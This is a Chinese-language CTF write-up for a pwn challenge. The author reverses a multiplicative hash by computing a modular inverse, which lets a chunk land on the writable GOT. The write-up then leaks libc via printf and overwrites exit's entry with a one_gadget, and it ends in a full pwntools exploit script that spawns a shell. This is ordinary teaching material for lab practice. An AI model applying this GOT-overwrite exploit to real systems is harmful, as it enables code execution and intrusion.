Crypto那边的队员走错棚了吧?
虽然名字带heap但并不是堆题。可以建块,写入和读取。建块就是读入个数,然后按这个数调用自己写的hash返回一个地址。如果这个地址不存在就用mmap建个块。并把地址存入nbytes数组。这个数组没有越界。
case 1u:
puts("How big is your paste (bytes)?");
__isoc99_scanf("%u", &v7);
if ( halloc(v7) )
{
nbytes[v11++] = v7;
printf("Paste number %d created with size %d\n", v11 - 1, v7);
}
else
{
puts("Error in paste creation");
}
break;
在建块里调用了个叫hash的函数,实际上不是md5类的,只是一个乘法运算。
int __cdecl hash(int a1)
{
return -1640531535 * a1;
}
如果想得到一个指定的地址,就是 addr / 1640531535 可实际上这并不是个简单的乘法,因为整形是32位整形,所在实际运算是 -1640531535 * a1 & 0xffffffff 这样就不能直接用除法了。要先求这个数的乘法的逆元,然后用地址乘逆元。输入得到的值就能得到这个地址了。
a = 0x9e3779b1
n = 2**32
ra = invert(a, n)
找到这个地址后就好办了,由于got表是可写的,只需要把这个地址指向一个有libc值的got表项就能得到libc。然后还可以写got表,这里没找到带输入参数的got表项,就直接用one_gadget。在exit写入one_gadget然后退出。
from gmpy2 import gcd,invert
a = 0x9e3779b1
n = 2**32
ra = invert(a, n) #先求出逆元
from pwn import *
p = process('./pwn')
libc_elf = ELF('/home/shi/buuctf/buuoj_2.23_i386/libc-2.23-i386-0ubuntu11.so')
one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
offset_main_ret = 0x18637
elf = ELF('./pwn')
context(arch='amd64', log_level='debug')
def add(addr):
v = addr * ra & 0xffffffff
p.sendlineafter(b'5. Exit\n' ,b'1')
p.sendlineafter(b'How big is your paste (bytes)?\n', str(v).encode())
def add2(addr):
p.sendlineafter(b'5. Exit\n' ,b'1')
p.sendlineafter(b'How big is your paste (bytes)?\n', str(addr).encode())
def show(idx):
p.sendlineafter(b'5. Exit\n' ,b'4')
p.sendlineafter(b'What paste would you like to read?\n' ,str(idx).encode())
def edit(idx, msg):
p.sendlineafter(b'5. Exit\n' ,b'2')
p.sendlineafter(b'What paste would you like to write to?\n' ,str(idx).encode())
p.sendafter(b'Enter your input\n' ,msg)
add(elf.got['printf'])
show(0)
libc_base = u32(p.recv(4)) - libc_elf.sym['printf']
libc_elf.address = libc_base
print('libc:', hex(libc_base))
add(elf.got['exit'])
edit(1, p32(libc_base + one[3]))
p.sendlineafter(b'5. Exit\n' ,b'5')
p.sendline(b'cat /flag')
p.interactive()